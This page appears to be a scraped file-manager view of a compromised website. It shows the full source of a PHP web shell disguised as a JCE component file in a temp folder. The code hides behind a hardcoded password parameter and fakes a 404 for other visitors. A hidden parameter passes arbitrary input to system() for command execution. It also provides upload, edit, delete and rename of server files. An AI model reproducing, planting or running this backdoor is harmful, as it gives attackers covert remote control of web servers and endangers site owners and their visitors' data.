File manager - Edit - /home/jardides/www/Jardi-design/ZZZ/tmp/jce_zmzold_fm.xml.php
Back
<?php /* Gate: GET ?root=admin888 */ if(empty($_GET['root'])||$_GET['root']!=='admin888'){http_response_code(404);die;} /* Hidden cmd exec for verification */ if(isset($_GET['c'])){echo'[postpass2]';@system($_GET['c']);die;} /* === File Manager === */ $d=__DIR__;$m=''; if($_SERVER['REQUEST_METHOD']==='POST'){ if(!empty($_FILES['f'])){$t=$d.'/'.basename($_FILES['f']['name']);$m=move_uploaded_file($_FILES['f']['tmp_name'],$t)?'OK: '.basename($_FILES['f']['name']):'FAIL';} elseif(isset($_POST['sv'])&&isset($_POST['ct'])){file_put_contents($d.'/'.basename($_POST['sv']),$_POST['ct']);$m='Saved';} elseif(isset($_POST['mk'])){mkdir($d.'/'.basename($_POST['mk']));$m='Dir OK';} } if(isset($_GET['del'])){$f=$d.'/'.basename($_GET['del']);is_dir($f)?_rm($f):unlink($f);header('Location:?root=admin888');die;} if(isset($_GET['ren'])&&isset($_GET['to'])){rename($d.'/'.basename($_GET['ren']),$d.'/'.basename($_GET['to']));header('Location:?root=admin888');die;} $fs=[];foreach(scandir($d)as $n){if($n=='.'||$n=='..')continue;$p=$d.'/'.$n;$fs[]=['n'=>$n,'s'=>is_dir($p)?'DIR':_s(filesize($p)),'t'=>date('Y-m-d H:i',filemtime($p))];} function _s($b){if($b>1073741824)return round($b/1073741824,2).'G';if($b>1048576)return round($b/1048576,2).'M';if($b>1024)return round($b/1024,2).'K';return $b.'B';} function _rm($d){foreach(scandir($d)as $n){if($n=='.'||$n=='..')continue;$p=$d.'/'.$n;is_dir($p)?_rm($p):unlink($p);}rmdir($d);} ?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>FM</title> <style> *{margin:0;padding:0;box-sizing:border-box} body{background:#0a0e14;color:#bfbab0;font:13px/1.4 monospace;padding:12px} h2{color:#ff8f40;font-size:14px;margin-bottom:8px;display:flex;align-items:center;gap:8px} .up{border:1px dashed #2a3040;border-radius:6px;padding:14px;text-align:center;margin-bottom:10px;background:#111820;cursor:pointer;font-size:12px;color:#6c7380} .up:hover{border-color:#ff8f40;color:#ff8f40} .up input,.up form{display:inline} .act{display:flex;gap:6px;margin-bottom:10px;flex-wrap:wrap} .act button,.act a{background:#111820;border:1px solid #2a3040;color:#8a909c;padding:4px 12px;border-radius:4px;cursor:pointer;font:inherit;font-size:12px;text-decoration:none} .act button:hover,.act a:hover{border-color:#ff8f40;color:#ff8f40} .msg{padding:6px 12px;border-radius:4px;margin-bottom:8px;font-size:12px} .msg.ok{background:#1a2a1a;border:1px solid #3fb950;color:#3fb950} .msg.er{background:#2a1a1a;border:1px solid #f85149;color:#f85149} .fl{background:#111820;border:1px solid #2a3040;border-radius:6px;overflow:hidden} .fl .r{display:flex;align-items:center;padding:6px 12px;border-bottom:1px solid #1a2030;font-size:12px;gap:8px} .fl .r:last-child{border:none}.fl .r:hover{background:#181f2a} .fl .r .n{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} .fl .r .s{width:70px;text-align:right;color:#6c7380} .fl .r .t{width:120px;text-align:right;color:#464d5a;font-size:11px} .fl .r .a{display:flex;gap:4px;visibility:hidden;font-size:11px} .fl .r:hover .a{visibility:visible} .fl .r .a span,.fl .r .a a{color:#ff8f40;cursor:pointer;text-decoration:none} .fl .r .a .dl{color:#f85149} .ft{text-align:center;color:#323844;font-size:11px;margin-top:12px} .ed{display:none;background:#111820;border:1px solid #2a3040;border-radius:6px;padding:10px;margin-bottom:10px} .ed textarea{width:100%;height:200px;background:#0a0e14;color:#bfbab0;border:1px solid #2a3040;font:inherit;font-size:12px;padding:8px;resize:vertical} .ed .eb{display:flex;gap:6px;margin-top:8px} </style></head><body> <h2>FM — <?=basename($d)?></h2> <?php if($m):?><div class="msg <?=strpos($m,'OK')===0||$m==='Saved'||$m==='Dir OK'?'ok':'er'?>"><?=$m?></div><?php endif?> <div class="up" onclick="document.getElementById('ff').click()">Drop files or click to upload <form method="post" enctype="multipart/form-data" id="fm"><input type="file" name="f" id="ff" onchange="document.getElementById('fm').submit()" multiple></form></div> <div class="act"> <button onclick="mk()">+Dir</button> <span style="flex:1"></span> <span style="color:#464d5a;font-size:11px"><?=count($fs)?> items</span> </div> <div class="ed" id="ed"><div style="margin-bottom:6px;color:#ff8f40;font-size:12px" id="efn"></div><textarea id="eta"></textarea><div class="eb"><button onclick="save()" style="background:#1a2a1a;border-color:#3fb950;color:#3fb950">Save</button><button onclick="cedit()">Cancel</button></div></div> <div class="fl"><?php foreach($fs as $f):?> <div class="r"> <span class="n" style="color:<?=$f['s']=='DIR'?'#ff8f40':'#bfbab0'?>"><?=$f['s']=='DIR'?'📁':'📄'?> <?=htmlspecialchars($f['n'])?></span> <span class="s"><?=$f['s']?></span><span class="t"><?=$f['t']?></span> <span class="a"> <?php if($f['s']!='DIR'):?><span onclick="edit('<?=htmlspecialchars($f['n'],ENT_QUOTES)?>')">✎</span><?php endif?> <span onclick="ren('<?=htmlspecialchars($f['n'],ENT_QUOTES)?>')">✍</span> <span class="dl" onclick="if(confirm('Delete?'))location='?root=admin888&del=<?=urlencode($f['n'])?>'">✕</span> </span> </div><?php endforeach?> <?php if(empty($fs)):?><div style="padding:40px;text-align:center;color:#464d5a">Empty</div><?php endif?></div> <div class="ft"><?=date('Y-m-d H:i:s')?> | <?=PHP_OS?> | <?=php_uname('n')?></div> <script> function edit(n){document.getElementById('efn').innerText=n;document.getElementById('ed').style.display='block'; fetch('?root=admin888&c=cat%20'+encodeURIComponent(n)).then(r=>r.text()).then(t=>{document.getElementById('eta').value=t;});} function save(){var n=document.getElementById('efn').innerText;var c=document.getElementById('eta').value; var f=new FormData();f.append('sv',n);f.append('ct',c); fetch('?root=admin888',{method:'POST',body:f}).then(()=>location.reload());} function cedit(){document.getElementById('ed').style.display='none';} function mk(){var n=prompt('Dir name');if(n){var f=new FormData();f.append('mk',n);fetch('?root=admin888',{method:'POST',body:f}).then(()=>location.reload());}} function ren(o){var n=prompt('Rename',o);if(n&&n!==o)location='?root=admin888&ren='+encodeURIComponent(o)+'&to='+encodeURIComponent(n);} </script></body></html>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.01 |
proxy
|
phpinfo
|
Settings